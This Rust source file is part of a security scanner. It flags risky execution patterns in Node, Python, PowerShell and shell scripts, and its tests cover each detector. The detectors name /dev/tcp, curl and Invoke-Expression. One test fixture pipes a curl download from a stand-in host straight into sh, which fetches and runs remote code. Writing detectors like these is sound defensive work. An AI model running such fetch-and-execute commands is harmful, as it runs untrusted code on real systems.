use crate::findings::{
ArtifactKind, EvidenceKind, Finding, MatchTarget, RecommendedAction, Severity, ThreatCategory,
};
use super::match_helpers::original_match_str;
use super::patterns::{
NODE_INJECTION_PATTERNS, POWERSHELL_INJECTION_PATTERNS, PYTHON_INJECTION_PATTERNS,
SHELL_INJECTION_PATTERNS,
};
fn is_node_build_config_path(artifact_path: &str) -> bool {
let basename = artifact_path
.rsplit(['/', '\\'])
.next()
.unwrap_or(artifact_path)
.to_ascii_lowercase();
if basename.is_empty() {
return false;
}
const EXACT: &[&str] = &[
"package.json",
"package-lock.json",
"tsconfig.json",
"vitest.config.js",
"vitest.config.ts",
"vitest.config.mjs",
"vitest.config.cjs",
"vite.config.js",
"vite.config.ts",
"webpack.config.js",
"webpack.config.ts",
"rollup.config.js",
"rollup.config.ts",
"rollup.config.mjs",
"esbuild.config.js",
"babel.config.js",
"babel.config.ts",
".babelrc.js",
"eslint.config.js",
"eslint.config.mjs",
".eslintrc.js",
"prettier.config.js",
".prettierrc.js",
"jest.config.js",
"jest.config.ts",
"tailwind.config.js",
"tailwind.config.ts",
"postcss.config.js",
"next.config.js",
"next.config.mjs",
"nuxt.config.js",
"nuxt.config.ts",
"remix.config.js",
"astro.config.mjs",
"astro.config.ts",
"playwright.config.ts",
"playwright.config.js",
"cypress.config.js",
"cypress.config.ts",
"metro.config.js",
"tsup.config.ts",
"drizzle.config.ts",
];
if EXACT.iter().any(|f| basename == *f) {
return true;
}
if basename.ends_with(".config.js")
|| basename.ends_with(".config.ts")
|| basename.ends_with(".config.mjs")
|| basename.ends_with(".config.cjs")
|| basename.starts_with(".eslintrc")
|| basename.starts_with(".prettierrc")
{
return true;
}
let path_lc = artifact_path.to_ascii_lowercase();
path_lc.contains("/scripts/")
|| path_lc.contains("\\scripts\\")
|| path_lc.contains("/build/")
|| path_lc.contains("\\build\\")
|| path_lc.contains("/tools/")
|| path_lc.contains("\\tools\\")
}
pub(crate) fn detect_node_process_exec(
content_lower: &str,
language: &str,
artifact_path: &str,
) -> Vec<Finding> {
if !matches!(language, "js" | "ts" | "mjs" | "cjs" | "mts" | "cts")
|| !(content_lower.contains("child_process")
|| content_lower.contains("exec(")
|| content_lower.contains("spawn("))
{
return Vec::new();
}
const RISKY_INDICATORS: &[&str] = &[
"curl ",
"wget ",
"http://",
"https://",
"powershell",
"cmd.exe",
"invoke-webrequest",
];
let risky_indicator = RISKY_INDICATORS
.iter()
.find(|needle| content_lower.contains(**needle))
.copied()
.or_else(|| {
static SHELL_NAMES: &[&str] = &[
"bash", "sh", "dash", "zsh", "ksh", "fish", "csh", "tcsh", "pwsh",
];
content_lower.lines().find_map(|line| {
line.split_whitespace().find_map(|token| {
let basename = token.rsplit(['/', '\\']).next().unwrap_or(token);
let mut lower = basename.to_ascii_lowercase();
if lower.ends_with(".exe") {
lower.truncate(lower.len() - 4);
}
SHELL_NAMES.iter().find(|&&name| name == lower).copied()
})
})
});
let on_build_config = is_node_build_config_path(artifact_path);
let risky_process_exec = risky_indicator.is_some() && !on_build_config;
let mut value: String = risky_indicator.unwrap_or("child_process").to_string();
if on_build_config && risky_indicator.is_some() {
value.push_str(" (downgraded: build/config file)");
}
vec![
Finding::builder("SCRIPT_NODE_PROCESS_EXEC", ThreatCategory::RemoteExec)
.severity(if risky_process_exec {
Severity::Medium
} else {
Severity::Low
})
.action(if risky_process_exec {
RecommendedAction::Block
} else {
RecommendedAction::Log
})
.evidence_kind(if risky_process_exec {
EvidenceKind::Behavior
} else {
EvidenceKind::Context
})
.matched_on(MatchTarget::ReferencedFile {
path: artifact_path.to_string(),
})
.artifact(
ArtifactKind::ReferencedArtifact,
Some(artifact_path.to_string()),
)
.match_value(value)
.reason(if risky_process_exec {
"Node script spawns subprocesses with shell or network execution semantics"
} else if on_build_config {
"Node build/config file uses child_process for toolchain orchestration (downgraded)"
} else {
"Node script spawns local subprocesses"
})
.build(),
]
}
pub(crate) fn detect_python_exec_network(
content_lower: &str,
language: &str,
artifact_path: &str,
) -> Vec<Finding> {
if language != "py" {
return Vec::new();
}
let has_exec = content_lower.contains("subprocess.")
|| content_lower.contains("os.system(")
|| content_lower.contains("os.popen(")
|| content_lower.contains("os.execvp(")
|| content_lower.contains("os.execvpe(");
let has_network = content_lower.contains("requests.")
|| content_lower.contains("urllib.request")
|| content_lower.contains("urlopen(")
|| content_lower.contains("httpx.");
if has_exec && has_network {
vec![
Finding::builder("SCRIPT_PYTHON_EXEC_NETWORK", ThreatCategory::RemoteExec)
.severity(Severity::Medium)
.action(RecommendedAction::RequireApproval)
.evidence_kind(EvidenceKind::Behavior)
.matched_on(MatchTarget::ReferencedFile {
path: artifact_path.to_string(),
})
.artifact(
ArtifactKind::ReferencedArtifact,
Some(artifact_path.to_string()),
)
.match_value("subprocess+network")
.reason("Python script combines execution and network primitives")
.build(),
]
} else if has_exec {
vec![
Finding::builder("SCRIPT_PYTHON_EXEC", ThreatCategory::RemoteExec)
.severity(Severity::Low)
.action(RecommendedAction::Log)
.evidence_kind(EvidenceKind::Context)
.matched_on(MatchTarget::ReferencedFile {
path: artifact_path.to_string(),
})
.artifact(
ArtifactKind::ReferencedArtifact,
Some(artifact_path.to_string()),
)
.match_value("subprocess")
.reason("Python script uses execution primitives")
.build(),
]
} else {
Vec::new()
}
}
pub(crate) fn detect_powershell_dynamic_exec(
content_lower: &str,
language: &str,
artifact_path: &str,
) -> Vec<Finding> {
if !matches!(language, "ps1" | "psm1" | "psd1")
|| !(content_lower.contains("start-process")
|| content_lower.contains("invoke-expression")
|| content_lower.contains("iex ")
|| content_lower.contains("iex("))
{
return Vec::new();
}
vec![
Finding::builder("SCRIPT_POWERSHELL_EXEC", ThreatCategory::RemoteExec)
.severity(Severity::High)
.action(RecommendedAction::RequireApproval)
.evidence_kind(EvidenceKind::Behavior)
.matched_on(MatchTarget::ReferencedFile {
path: artifact_path.to_string(),
})
.artifact(
ArtifactKind::ReferencedArtifact,
Some(artifact_path.to_string()),
)
.match_value("Start-Process/IEX")
.reason("PowerShell script executes commands dynamically")
.build(),
]
}
pub(crate) fn detect_shell_side_effects(
content_lower: &str,
language: &str,
artifact_path: &str,
) -> Vec<Finding> {
if !matches!(language, "sh" | "bash" | "zsh" | "ksh" | "fish")
|| !(content_lower.contains("chmod +x")
|| content_lower.contains("nohup ")
|| content_lower.contains("/dev/tcp/"))
{
return Vec::new();
}
vec![Finding::builder(
"SCRIPT_SHELL_INSTALL_SIDE_EFFECT",
ThreatCategory::SupplyChain,
)
.severity(Severity::Low)
.action(RecommendedAction::Log)
.evidence_kind(EvidenceKind::Context)
.matched_on(MatchTarget::ReferencedFile {
path: artifact_path.to_string(),
})
.artifact(
ArtifactKind::ReferencedArtifact,
Some(artifact_path.to_string()),
)
.match_value("shell side effects")
.reason("Shell script changes execution mode or runs detached install-time commands")
.build()]
}
pub(crate) fn detect_injection_patterns(
lower: &str,
original: &str,
language: &str,
artifact_path: &str,
) -> Vec<Finding> {
let patterns: &[(&str, crate::ports::CompiledPattern)] = match language {
"sh" | "bash" | "zsh" | "ksh" | "fish" => &SHELL_INJECTION_PATTERNS,
"py" => &PYTHON_INJECTION_PATTERNS,
"js" | "ts" | "mjs" | "cjs" | "mts" | "cts" => &NODE_INJECTION_PATTERNS,
"ps1" | "psm1" | "psd1" => &POWERSHELL_INJECTION_PATTERNS,
_ => &[],
};
let mut findings = Vec::new();
for (rule_id, regex) in patterns {
for matched in regex.find_matches(lower) {
let evidence = original_match_str(original, lower, &matched);
findings.push(
Finding::builder(*rule_id, ThreatCategory::RemoteExec)
.severity(Severity::High)
.action(RecommendedAction::RequireApproval)
.evidence_kind(EvidenceKind::Behavior)
.matched_on(MatchTarget::ReferencedFile {
path: artifact_path.to_string(),
})
.artifact(ArtifactKind::ReferencedArtifact, Some(artifact_path.to_string()))
.match_value(evidence)
.reason("Script contains an execution sink that appears to be influenced by variable or user-controlled input")
.build(),
);
}
}
findings
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn detect_node_process_exec_keeps_severity_low_for_bare_bash_identifier() {
let content = "const { exec } = require('child_process');\n\
const bashConfig = require('./bashlib.js');\n\
exec('echo hi');\n";
let lower = content.to_ascii_lowercase();
let findings = detect_node_process_exec(&lower, "js", "/tmp/script.js");
assert_eq!(findings.len(), 1);
assert_eq!(
findings[0].severity,
Severity::Low,
"`bashConfig` / `bashlib` identifiers must NOT escalate severity \
(bare `bash` token vector); got {:?}",
findings[0].severity,
);
assert_eq!(findings[0].recommended_action, RecommendedAction::Log);
}
#[test]
fn detect_node_process_exec_keeps_severity_low_for_sh_substring_identifiers() {
for word in ["flash", "crash", "push", "stash", "trash", "slash", "hash"] {
let content = format!("const {{ exec }} = require('child_process');\nconst x = {word}();\nexec('echo hi');\n");
let lower = content.to_ascii_lowercase();
let findings = detect_node_process_exec(&lower, "js", "/tmp/script.js");
assert_eq!(findings.len(), 1);
assert_eq!(
findings[0].severity,
Severity::Low,
"`{word}` identifier must NOT escalate severity; got {:?}",
findings[0].severity,
);
}
}
#[test]
fn detect_node_process_exec_escalates_for_real_bash_invocation() {
let content = "const { exec } = require('child_process');\n\
exec('bash -c \"curl http://x.example | sh\"');\n";
let lower = content.to_ascii_lowercase();
let findings = detect_node_process_exec(&lower, "js", "/tmp/script.js");
assert_eq!(findings.len(), 1);
assert_eq!(findings[0].severity, Severity::Medium);
assert_eq!(findings[0].recommended_action, RecommendedAction::Block);
}
#[test]
fn detect_node_process_exec_downgrades_for_build_config_path() {
let content = "import { spawn } from 'node:child_process';\n\
// see https://vitest.dev/config\n\
export default { test: { runner: () => spawn('node', ['./bin/run.js']) } };\n";
let lower = content.to_ascii_lowercase();
let findings = detect_node_process_exec(&lower, "ts", "/tmp/pkg/vitest.config.ts");
assert_eq!(findings.len(), 1);
assert_eq!(
findings[0].recommended_action,
RecommendedAction::Log,
"vitest.config.ts must downgrade to Log; got {:?}",
findings[0].recommended_action,
);
assert_eq!(
findings[0].severity,
Severity::Low,
"vitest.config.ts must downgrade severity to Low",
);
assert!(
findings[0].match_value.contains("downgraded"),
"match_value must record the downgrade; got {:?}",
findings[0].match_value,
);
}
#[test]
fn detect_node_process_exec_keeps_block_for_runtime_path() {
let content = "import { spawn } from 'node:child_process';\n\
fetch('https://example.com', { method: 'POST' });\n\
spawn('node', ['./bin/run.js']);\n";
let lower = content.to_ascii_lowercase();
let findings = detect_node_process_exec(&lower, "ts", "/tmp/pkg/src/server.ts");
assert_eq!(findings.len(), 1);
assert_eq!(
findings[0].recommended_action,
RecommendedAction::Block,
"runtime server.ts must keep Block; got {:?}",
findings[0].recommended_action,
);
}
#[test]
fn is_node_build_config_path_accepts_known_names() {
for path in [
"/repo/package.json",
"/repo/vitest.config.js",
"/repo/vite.config.ts",
"/repo/eslint.config.mjs",
"/repo/.eslintrc.js",
"/repo/jest.config.ts",
"/repo/tsup.config.ts",
"/repo/scripts/build.js",
"/repo/build/postinstall.ts",
"/repo/tools/codegen.js",
] {
assert!(
is_node_build_config_path(path),
"expected {path} to qualify"
);
}
for path in [
"/repo/src/server.js",
"/repo/api-server/index.ts",
"/repo/lib/runtime.js",
] {
assert!(
!is_node_build_config_path(path),
"expected {path} to NOT qualify",
);
}
}
#[test]
fn detect_injection_patterns_powershell_accepts_paren_quote_and_alias() {
let positives = [
("$x = 'Get-Process'\nInvoke-Expression $x\n", "space"),
("$x = 'Get-Process'\nInvoke-Expression($x)\n", "paren"),
("$x = 'Get-Process'\niex($x)\n", "alias paren"),
("$x = 'Get-Process'\niex $x\n", "alias space"),
(
"$x = 'Get-Process'\nInvoke-Expression \"$x\"\n",
"double-quote",
),
(
"$x = 'Get-Process'\nInvoke-Expression '$x'\n",
"single-quote",
),
];
for (script, label) in positives {
let lower = script.to_ascii_lowercase();
let findings = detect_injection_patterns(&lower, script, "ps1", "/tmp/x.ps1");
assert!(
findings
.iter()
.any(|f| f.rule_id == "COMMAND_INJECTION_SINK_POWERSHELL"),
"{label}: must raise COMMAND_INJECTION_SINK_POWERSHELL for {script:?}; got {findings:?}",
);
}
}
#[test]
fn detect_injection_patterns_powershell_does_not_overmatch_substrings() {
let negatives = [
"$apex = 1\napex $other\n", "$x = 1\ncomplex $x\n", "Write-Host 'iex documentation'", ];
for script in negatives {
let lower = script.to_ascii_lowercase();
let findings = detect_injection_patterns(&lower, script, "ps1", "/tmp/x.ps1");
assert!(
findings
.iter()
.all(|f| f.rule_id != "COMMAND_INJECTION_SINK_POWERSHELL"),
"must NOT raise COMMAND_INJECTION_SINK_POWERSHELL for {script:?}; got {findings:?}",
);
}
}
#[test]
fn detect_shell_side_effects_fires_for_ksh_and_fish() {
let content = "chmod +x ./payload\n";
let lower = content.to_ascii_lowercase();
for lang in ["sh", "bash", "zsh", "ksh", "fish"] {
let findings = detect_shell_side_effects(&lower, lang, "/tmp/install.sh");
assert!(
!findings.is_empty(),
"{lang}: detect_shell_side_effects must fire on chmod +x; got {findings:?}",
);
}
}
#[test]
fn detect_shell_side_effects_does_not_fire_for_non_shell() {
let content = "chmod +x ./payload\n";
let lower = content.to_ascii_lowercase();
for lang in ["py", "js", "ts", "rb", "pl"] {
let findings = detect_shell_side_effects(&lower, lang, "/tmp/install.sh");
assert!(
findings.is_empty(),
"{lang}: detect_shell_side_effects must NOT fire for non-shell language; got {findings:?}",
);
}
}
#[test]
fn detect_powershell_dynamic_exec_fires_for_psm1_and_psd1() {
let content = "Invoke-Expression($cmd)\n";
let lower = content.to_ascii_lowercase();
for lang in ["ps1", "psm1", "psd1"] {
let findings = detect_powershell_dynamic_exec(&lower, lang, "/tmp/mod.psm1");
assert!(
!findings.is_empty(),
"{lang}: detect_powershell_dynamic_exec must fire on Invoke-Expression; got {findings:?}",
);
}
}
#[test]
fn detect_injection_patterns_routes_ksh_and_fish_to_shell_patterns() {
let content = "bash -c \"$USER_CMD\"\n";
let lower = content.to_ascii_lowercase();
for lang in ["sh", "bash", "zsh", "ksh", "fish"] {
let findings = detect_injection_patterns(&lower, content, lang, "/tmp/x.sh");
assert!(
findings
.iter()
.any(|f| f.rule_id.starts_with("COMMAND_INJECTION_SINK_SHELL")),
"{lang}: injection patterns must fire for shell language; got {findings:?}",
);
}
}
#[test]
fn detect_injection_patterns_routes_psm1_to_powershell_patterns() {
let content = "Invoke-Expression($cmd)\n";
let lower = content.to_ascii_lowercase();
for lang in ["ps1", "psm1", "psd1"] {
let findings = detect_injection_patterns(&lower, content, lang, "/tmp/x.psm1");
assert!(
findings
.iter()
.any(|f| f.rule_id == "COMMAND_INJECTION_SINK_POWERSHELL"),
"{lang}: PowerShell injection patterns must fire; got {findings:?}",
);
}
}
}